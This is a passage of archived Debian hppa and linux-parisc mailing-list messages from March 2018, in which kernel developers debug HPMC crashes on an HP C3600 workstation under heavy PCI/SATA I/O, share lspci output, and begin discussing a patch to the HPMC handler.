Original-Received: by 2002:a19:1b8f:0:0:0:0:0 with HTTP; Mon, 19 Mar 2018 12:37:49
 -0700 (PDT)
In-Reply-To: <CA+QBN9A_0x6_0Ayo6YtkdC=j1ssa9mD7NTzU5+Jie0dYabp3bQ@mail.gmail.com>
X-Rc-Spam: 2008-11-04_01
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <TMukNZTaliB.A.cZH.kVBsaB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8684
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/CAP6odjhfy0qwH5p_VyNLBw8w9mc_wsWFpR=RH2daJocW6Cn+vA@mail.gmail.com
Resent-Date: Mon, 19 Mar 2018 19:54:12 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7700 gmane.linux.ports.parisc:28348
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7700>

[adding public lists back to CC since I can't sort this by myself any more]

On Sat, Mar 17, 2018 at 6:45 PM, Carlo Pisani <carlojpisani@gmail.com> wrote:
>> While the symptom (HPMC) looks the same, the details are likely
>> different for each card. It's been over 10 years but ISTR that "SER
>> PIM" command when entered at boot prompt will dump those details.
>
> this is an old log
> http://93.55.217.0/wonderland/chunk_of/user/ivelegacy/hppa-dev/ser-prim-2018-03-12--sata-crash

Awesome - thank you!

Can you tell me which SATA controller was installed when this crash was taken?

> my C3600 is now busy, compiling 4.16.*, a couple of branches with two
> different configurations, so I can't force a crash to have a fresh log
> at the moment, but I will with several SATA card!

No worries - start with one. :)

> what about SAS kernel modules? are them better than SATA?

In general, I expect they are better supported but I never worked with
SAS controllers.

> and what about SCSI (adaptec 29320, PCI-X)?

Sorry: I don't have any experience with adaptec - only the LSI SCSI
controllers, Marvel 7042 SATA controller, and Silicon Image 3124
(IIRC). The SI3124 was a PoS. MV7042 worked well and was reliable "at
scale".

> I am waiting for an array of disks, I can test the SCSI card under
> heavy I/O to see
> - performance
> - stability
>
> it will be delivered here for the end of the next week

Ok! Sounds like fun! :D

cheers,
grant



From - Thu Nov 08 21:41:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: kernel 4.15.7/64bit, C3600 is unstable during heavy I/O on PCI
Date: Mon, 19 Mar 2018 20:41:46 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <CAP6odjjY3OFk46tDe-0MasdWhm+3b76-3yb6-VA96NuhRFaysA@mail.gmail.com>
References: <CA+QBN9DxM5PYCnPJCRtgxQ8xGk75=jAtsE+VibUfFOv+Yah6Og@mail.gmail.com>
 <CA+QBN9D9vUA7Q=Sd=moi+bSAkQjGQ6nGa8wnb1=7qHudAY8L8g@mail.gmail.com>
 <20180317113655.GA30572@ls3530.fritz.box> <CAP6odjhTVFkFP0kzCjvpJZ81iwA+cxLNFB7AxK+hZfy_cKxjvw@mail.gmail.com>
 <CA+QBN9Bd69whK14_0jT0m=5F4i2FxNPyEbMv3mgUsox9pX3fKA@mail.gmail.com>
 <CAP6odjhVVjutLY73QeCq+vjvUE1StmTBB50s_m5SN1Ad7OBD5Q@mail.gmail.com>
 <CA+QBN9A_0x6_0Ayo6YtkdC=j1ssa9mD7NTzU5+Jie0dYabp3bQ@mail.gmail.com> <CAP6odjhfy0qwH5p_VyNLBw8w9mc_wsWFpR=RH2daJocW6Cn+vA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1521489316 25162 195.159.176.226 (19 Mar 2018 19:55:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 19 Mar 2018 19:55:16 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, linux-parisc <linux-parisc@vger.kernel.org>
To: Carlo Pisani <carlojpisani@gmail.com>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Mon Mar 19 20:55:12 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ey0sC-0006SA-ED
	for debian-hppa@m.gmane.org; Mon, 19 Mar 2018 20:55:12 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 8CBEC171; Mon, 19 Mar 2018 19:57:18 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Mon Mar 19 19:57:16 2018
Old-Return-Path: <grantgrundler@gmail.com>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id AEBEAB9
	for <lists-debian-hppa@bendel.debian.org>; Mon, 19 Mar 2018 19:41:56 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-0.399 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, DKIM_SIGNED=0.1, DKIM_VALID=-0.1,
	DKIM_VALID_AU=-0.1, FOURLA=0.1, FREEMAIL_FROM=0.001,
	NORMAL_HTTP_TO_IP=2.3, RCVD_IN_DNSWL_LOW=-0.7]
	autolearn=no autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id e7Y3QLDpu4nO for <lists-debian-hppa@bendel.debian.org>;
	Mon, 19 Mar 2018 19:41:50 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mail-lf0-x22f.google.com (mail-lf0-x22f.google.com [IPv6:2a00:1450:4010:c07::22f])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id D02C6B4
	for <debian-hppa@lists.debian.org>; Mon, 19 Mar 2018 19:41:50 +0000 (UTC)
Original-Received: by mail-lf0-x22f.google.com with SMTP id l191-v6so27271244lfe.1
        for <debian-hppa@lists.debian.org>; Mon, 19 Mar 2018 12:41:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=VwTbP+BCZKNRxDwNjZe3pYBuIZ3xnBWaoLPezrqfg8w=;
        b=j9pZEbIf78l4SQEIKZhrr7oWKAsAiZWf51YKz3PtzSJ5JOBq3vEwYut7pVfMoIpByT
         +i37msUGZlhmNKIy0yP3L61ps2973wtTYNqYVbPpoHOAvDDEUtXLLoFUW8DgTFEzbgS+
         1pcpzU9g24YGtcFzK0PGvS/Rfx4p8Ynk3yqjBFVVxZKdornGXBzUwAkMnVI5P05xEC3C
         0via+q/yJDXurGkY1+Vq1PlnCj5M80r8baw7I7b7sD+WcghimJm7YedCVcCyP0O96E8I
         CLZjSg04SnEf2bwXKmypxiQiEZSm75BAm1iNs8OGONYkH2F6WVlDwcmeTWGh2wItPAbQ
         11aw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=VwTbP+BCZKNRxDwNjZe3pYBuIZ3xnBWaoLPezrqfg8w=;
        b=JkjXUTsCYJHh647MZWW7KU1aGbflBppzrs2vyzG1lUqeWNlbMtnO3zFwnJ1j+vvWB7
         TGe7+yAe8c9TmK/PYmEzHkeTROcVOIjLPbJG32N84zHnHiHWhNtAMicOMwLyLK9oigjJ
         xeLpqTF2+8JlEap8VrMDzuKtxW1d8Cq2PFVshOGydNHs10GSJdZG5c8TYEiQRjCLj5K3
         MaNE1yA/QPPBz1G5n661XaSSZvIb2Uqj5mCTsCPwMTZxwNTwIy14s7e7NO9Zui0NhrtX
         3eIyfZwKHgtCmwcTv4i0NTC5zGh/5Fg6xESbpw91pjYJkZGjj1UFUMGGbYek42Kt9q2a
         tGNQ==
X-Gm-Message-State: AElRT7Fzahgg+FiWd4TivFWERN3DReHt6BAoxnP0AUyjlba9CF3kk6QF
	s6xY3yJ2JBT8rPFw1y/bBzQ49KnKonQRSLgNEG4=
X-Google-Smtp-Source: AG47ELvKZU4aVjZYGv29fV8ANhyDZTeGEYpSvmo5qrRiFmnfT5JrX6OStBQxFUsZC/RH2Bbd4xpuKcPOID/d5h5sCdA=
X-Received: by 2002:a19:960e:: with SMTP id y14-v6mr9425949lfd.43.1521488507925;
 Mon, 19 Mar 2018 12:41:47 -0700 (PDT)
Original-Received: by 2002:a19:1b8f:0:0:0:0:0 with HTTP; Mon, 19 Mar 2018 12:41:46
 -0700 (PDT)
In-Reply-To: <CAP6odjhfy0qwH5p_VyNLBw8w9mc_wsWFpR=RH2daJocW6Cn+vA@mail.gmail.com>
X-Rc-Spam: 2008-11-04_01
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <SvWe_3IwGjD.A.FAE.cYBsaB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8685
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/CAP6odjjY3OFk46tDe-0MasdWhm+3b76-3yb6-VA96NuhRFaysA@mail.gmail.com
Resent-Date: Mon, 19 Mar 2018 19:57:18 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7701 gmane.linux.ports.parisc:28349
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7701>

On Mon, Mar 19, 2018 at 8:37 PM, Grant Grundler <grantgrundler@gmail.com> wrote:
...
>> this is an old log
>> http://93.55.217.0/wonderland/chunk_of/user/ivelegacy/hppa-dev/ser-prim-2018-03-12--sata-crash

BTW, I should point out one needs to give "CLEARPIM" command at PDC
command line in order to record a new HPMC.

So once you reproduce the crash, collect HPMC dump with "SER PIM",
then "CLEAR PIM" again. :)

cheers,
grant



From - Thu Nov 08 21:41:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: kernel 4.15.7/64bit, C3600 is unstable during heavy I/O on PCI
Date: Mon, 19 Mar 2018 16:46:07 -0400
Lines: 90
Approved: news@gmane.org
Message-ID: <115826d6-d506-f41c-b1f0-84e67a9546a9@bell.net>
References: <CA+QBN9DxM5PYCnPJCRtgxQ8xGk75=jAtsE+VibUfFOv+Yah6Og@mail.gmail.com>
 <CA+QBN9D9vUA7Q=Sd=moi+bSAkQjGQ6nGa8wnb1=7qHudAY8L8g@mail.gmail.com>
 <20180317113655.GA30572@ls3530.fritz.box>
 <CAP6odjhTVFkFP0kzCjvpJZ81iwA+cxLNFB7AxK+hZfy_cKxjvw@mail.gmail.com>
 <b2fd86ec-a83a-5133-fa66-29229595851c@bell.net>
 <CA+QBN9DgtjA3vdE7WA36o8P585r8vMbR+s2zPAF+529HuEzzfw@mail.gmail.com>
 <665cf5f2-35e4-f2ca-7b32-3e5f70ba7acd@bell.net>
 <CA+QBN9A6vgzxvDtvKNqenxFCGOksjgcxo_NHaGLRPsFyfDzL1Q@mail.gmail.com>
 <438edd73-e420-e3d9-df03-610e7dbc2e13@bell.net>
 <CA+QBN9CS11tBCOMKyGvjGF+w9bnd-pvUioSJD=o3AT9pJC=OmA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1521492264 11230 195.159.176.226 (19 Mar 2018 20:44:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 19 Mar 2018 20:44:24 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: Grant Grundler <grantgrundler@gmail.com>,
 linux-parisc List <linux-parisc@vger.kernel.org>,
 debian-hppa@lists.debian.org
To: Carlo Pisani <carlojpisani@gmail.com>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Mon Mar 19 21:44:19 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ey1dj-0002pc-D6
	for debian-hppa@m.gmane.org; Mon, 19 Mar 2018 21:44:19 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 0C63BA8; Mon, 19 Mar 2018 20:46:27 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Mon Mar 19 20:46:26 2018
Old-Return-Path: <dave.anglin@bell.net>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 3FD7969
	for <lists-debian-hppa@bendel.debian.org>; Mon, 19 Mar 2018 20:46:18 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.609 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, DIGITS_LETTERS=1, FOURLA=0.1, LDO_WHITELIST=-5,
	RCVD_IN_DNSWL_LOW=-0.7, T_RP_MATCHES_RCVD=-0.01,
	UNPARSEABLE_RELAY=0.001] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id qsopMYbjpsp7 for <lists-debian-hppa@bendel.debian.org>;
	Mon, 19 Mar 2018 20:46:12 +0000 (UTC)
Original-Received: from torfep02.bell.net (simcoe208srvr.owm.bell.net [184.150.200.208])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "", Issuer "Openwave Messaging Inc." (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 164CA95
	for <debian-hppa@lists.debian.org>; Mon, 19 Mar 2018 20:46:11 +0000 (UTC)
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20180319204607.LCGF32387.torfep02.bell.net@torspm01.bell.net>
          for <debian-hppa@lists.debian.org>;
          Mon, 19 Mar 2018 16:46:07 -0400
Original-Received: from [192.168.0.138] (really [69.156.4.250]) by torspm01.bell.net
          with ESMTP
          id <20180319204607.CEHC26298.torspm01.bell.net@[192.168.0.138]>;
          Mon, 19 Mar 2018 16:46:07 -0400
In-Reply-To: <CA+QBN9CS11tBCOMKyGvjGF+w9bnd-pvUioSJD=o3AT9pJC=OmA@mail.gmail.com>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=T8Zjd7CQ c=1 sm=0 tr=0 a=vinXicB1gmUT9HjaLy2a9Q==:17 a=IkcTkHD0fZMA:10 a=v2DPQv5-lfwA:10 a=FBHGMhGWAAAA:8 a=nexPL0fqoA4AYpypJ5EA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <OVLuPkpyA-B.A.RtC.iGCsaB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8686
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/115826d6-d506-f41c-b1f0-84e67a9546a9@bell.net
Resent-Date: Mon, 19 Mar 2018 20:46:27 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7702 gmane.linux.ports.parisc:28350
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7702>

This is info about PCI devices that Carlo sent me.  It would help if we 
lnew where 0x4046b840
was in the kernel. From the IIR, 0xf3c001c, it seems the timeout 
occurred on a byte operation.

Dave

On 2018-03-17 2:58 PM, Carlo Pisani wrote:
>> Probably, it would be useful to have verbose output from lspci posted to
>> list as well.
>
> c3600 ~ $ lspci -v
> 00:0c.0 Ethernet controller: Digital Equipment Corporation DECchip
> 21142/43 (rev 41)
>          Subsystem: Hewlett-Packard Company DECchip 21142/43
>          Flags: bus master, medium devsel, latency 255, IRQ 17
>          I/O ports at 1000 [size=128]
>          Memory at fffffffff4008000 (32-bit, non-prefetchable) [size=1K]
>          Expansion ROM at fffffffff4040000 [disabled] [size=256K]
>          Kernel driver in use: tulip
> lspci: Unable to load libkmod resources: error -12
>
> 00:0d.0 Multimedia audio controller: Analog Devices Device 1889
>          Subsystem: Analog Devices Device 1889
>          Flags: bus master, medium devsel, latency 255, IRQ 18
>          Memory at fffffffff400c000 (32-bit, prefetchable) [size=512]
>          Memory at fffffffff400b000 (32-bit, prefetchable) [size=16]
>          Memory at fffffffff400a000 (32-bit, prefetchable) [size=16]
>          Memory at fffffffff4009000 (32-bit, prefetchable) [size=16]
>          Capabilities: [dc] Power Management version 1
>          Kernel driver in use: snd_ad1889
>
> 00:0e.0 IDE interface: National Semiconductor Corporation 87415/87560
> IDE (rev 03) (prog-if 8f [Master SecP SecO PriP PriO])
>          Flags: bus master, medium devsel, latency 255, IRQ 7
>          I/O ports at 0f00 [size=8]
>          I/O ports at 0e00 [size=4]
>          I/O ports at 0d00 [size=8]
>          I/O ports at 0b00 [size=4]
>          I/O ports at 0a00 [size=16]
>          Kernel driver in use: NS87415_IDE
>
> 00:0e.1 Bridge: National Semiconductor Corporation 87560 Legacy I/O (rev 01)
>          Flags: bus master, medium devsel, latency 255, IRQ 19
>          Kernel driver in use: SuperIO
>
> 00:0e.2 USB controller: National Semiconductor Corporation USB
> Controller (rev 02) (prog-if 10 [OHCI])
>          Flags: bus master, medium devsel, latency 240, IRQ 1
>          Memory at fffffffff4007000 (32-bit, non-prefetchable) [size=4K]
>          Memory at fffffffff4006000 (32-bit, non-prefetchable) [size=4K]
>          Kernel driver in use: ohci-pci
>
> 00:0f.0 SCSI storage controller: LSI Logic / Symbios Logic 53C896/897 (rev 07)
>          Subsystem: LSI Logic / Symbios Logic LSI53C896/7 PCI to Dual
> Channel Ultra2 SCSI Multifunction Controller
>          Flags: bus master, medium devsel, latency 255, IRQ 20
>          I/O ports at 0900 [size=256]
>          Memory at fffffffff4005000 (64-bit, non-prefetchable) [size=1K]
>          Memory at fffffffff4002000 (64-bit, non-prefetchable) [size=8K]
>          Capabilities: [40] Power Management version 2
>          Kernel driver in use: sym53c8xx
>
> 00:0f.1 SCSI storage controller: LSI Logic / Symbios Logic 53C896/897 (rev 07)
>          Subsystem: LSI Logic / Symbios Logic LSI53C896/7 PCI to Dual
> Channel Ultra2 SCSI Multifunction Controller
>          Flags: bus master, medium devsel, latency 255, IRQ 20
>          I/O ports at 0800 [size=256]
>          Memory at fffffffff4004000 (64-bit, non-prefetchable) [size=1K]
>          Memory at fffffffff4000000 (64-bit, non-prefetchable) [size=8K]
>          Capabilities: [40] Power Management version 2
>          Kernel driver in use: sym53c8xx
>
> 01:05.0 RAID bus controller: VIA Technologies, Inc. VT6421 IDE/SATA
> Controller (rev 50)
>          Subsystem: VIA Technologies, Inc. VT6421 IDE/SATA Controller
>          Flags: bus master, medium devsel, latency 240, IRQ 21
>          I/O ports at 12500 [size=16]
>          I/O ports at 12400 [size=16]
>          I/O ports at 12300 [size=16]
>          I/O ports at 12200 [size=16]
>          I/O ports at 12100 [size=32]
>          I/O ports at 12000 [size=256]
>          Expansion ROM at fffffffff4800000 [disabled] [size=64K]
>          Capabilities: [e0] Power Management version 2
>          Kernel driver in use: sata_via
>

The requesting device was 10/1/5/0.


From - Thu Nov 08 21:41:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: [RFC][PATCH] Fix HPMC handler by increasing size to multiple of 16
 bytes
Date: Mon, 19 Mar 2018 23:23:53 +0100
Lines: 91
Approved: news@gmane.org
Message-ID: <20180319222353.GA28132@ls3530.fritz.box>
References: <CA+QBN9DxM5PYCnPJCRtgxQ8xGk75=jAtsE+VibUfFOv+Yah6Og@mail.gmail.com>
 <CA+QBN9D9vUA7Q=Sd=moi+bSAkQjGQ6nGa8wnb1=7qHudAY8L8g@mail.gmail.com>
 <20180317113655.GA30572@ls3530.fritz.box>
 <81f118a7-5bc5-c6b2-eb10-a9c683c72a26@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1521498131 9533 195.159.176.226 (19 Mar 2018 22:22:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 19 Mar 2018 22:22:11 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Mon Mar 19 23:22:07 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ey3AM-0002P6-Du
	for debian-hppa@m.gmane.org; Mon, 19 Mar 2018 23:22:06 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 181EDA6; Mon, 19 Mar 2018 22:24:14 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Mon Mar 19 22:24:13 2018
Old-Return-Path: <deller@gmx.de>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 8D32173
	for <lists-debian-hppa@bendel.debian.org>; Mon, 19 Mar 2018 22:24:05 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.58 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, DIGITS_LETTERS=1, FOURLA=0.1, FREEMAIL_FROM=0.001,
	LDO_WHITELIST=-5, MURPHY_DRUGS_REL8=0.02, RCVD_IN_DNSWL_LOW=-0.7,
	RCVD_IN_MSPIKE_H2=-0.001] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 1N2yWRsX4A4n for <lists-debian-hppa@bendel.debian.org>;
	Mon, 19 Mar 2018 22:24:00 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.15.18])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 6D0E96E
	for <debian-hppa@lists.debian.org>; Mon, 19 Mar 2018 22:24:00 +0000 (UTC)
Original-Received: from ls3530.fritz.box ([89.244.186.207]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MDQUP-1eoN4Y3upR-00Gm5B; Mon, 19
 Mar 2018 23:23:56 +0100
Content-Disposition: inline
In-Reply-To: <81f118a7-5bc5-c6b2-eb10-a9c683c72a26@bell.net>
X-Provags-ID: V03:K0:7YRgEyb4soGbUGsuWRI+3M7YJvNIqQRTD7MUa7G9ciBh4jQwhKm
 h8qJMOt6wUuocS88XzxpWGyHASpM2fxXaWdD39fSnxHjRQmO0C+jt5iZO/nQmEeHmYZr+H0
 +0r295IabUUj1x/ovPOTqyHl7buW6cwhudyg8cPmVbhD1d6vpSySPPf9SG2yMIaezn3tlGa
 4OKoPeRvcCNrcQrhLeIRg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:0sWepX+92U0=:wkH+V1KKn3BpBSX9aRUbfR
 DwR/DCPoCKGhww6BkHdLOP7m4XU4m9vz67gnjgessalcWjx/WmyuVzKooutONU2leyidI21EE
 9IjslBpNSdbXyN+OkRdu14MOCvd65GV516AB/lJZdVy7SIO0gicr5Wx8wGbSbRbbCEPTodayc
 vMl0wg4pqwUnjimC8tgrcFvRdeEOhY6E3+9077V6aq3GfBRg7L/YC/dB36KH3pAUTGq0IT0N8
 BTZoLIRMaMd3OGPL5kAIjYrkLw7vVjWW8Ag2ddamy6WL5q7vR5QjF0AFqL/2wHbwktecFUn5m
 bQO9SGACl1ujh6OSYgNpxANZx5NN70CDlXJ2I/mU8K3Dx3QQv+0LvVt0B1TXWLTe5w3YeFTnt
 Z9yCtWOWex6WjTqJaqFxhlD5psj/LpTyYVx0WKmGCcRPlFVqQgnux62FqO1PGhrF/LcUC72Wx
 1uYjDbp6WRfZ5lik7pQwt0dhxwpYJMCJUhCCSr4sYuJgBqCmkJy1qRAAqWzsrbEhQcWJ1oo+T
 LGB9qy5ltaNRP1fOezxgRWfpkzcFR4eeRD5OewbZAVgYKeLyvkKlni4uSIPuoe2yr9vDtfRBK
 mOSW89lUpGK9Nb6gldrij5mQUS3AfVXcBEq4Zf6LF5aMm2hgK+/gt8L3y/xG6AfENDK9mKa1l
 aWTnlj8CP9a05XkvaxBJn296geCYd3U88NCbUJOPuW8SlDvMEA0Ute20hxl2R7hEr62J1ZuCh
 yANA4jmdU8dz1ei/1+Org0UxQQuSg6ax7n89+r5VE39ywaGUQUdhnRST++lzHhdACbYOBS3q 
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <WA3GnTD4HjI.A.pmE.NiDsaB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8687
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/20180319222353.GA28132@ls3530.fritz.box
Resent-Date: Mon, 19 Mar 2018 22:24:14 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7703 gmane.linux.ports.parisc:28351
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7703>

* John David Anglin <dave.anglin@bell.net>:
> On 2018-03-17 7:36 AM, Helge Deller wrote:
> > Can you maybe try to localize where in the drivers/ata/sata_via.c driver
> > triggers the HPMC ?
> > 
> > 
> > --- arch/parisc/kernel/hpmc.S	2018-01-28 22:20:33.000000000 +0100
> > +++ arch/parisc/kernel/hpmc.S	2018-03-15 14:13:46.611969815 +0100
> > @@ -308,4 +290,5 @@
> >   	.align 4
> >   	.export os_hpmc_size
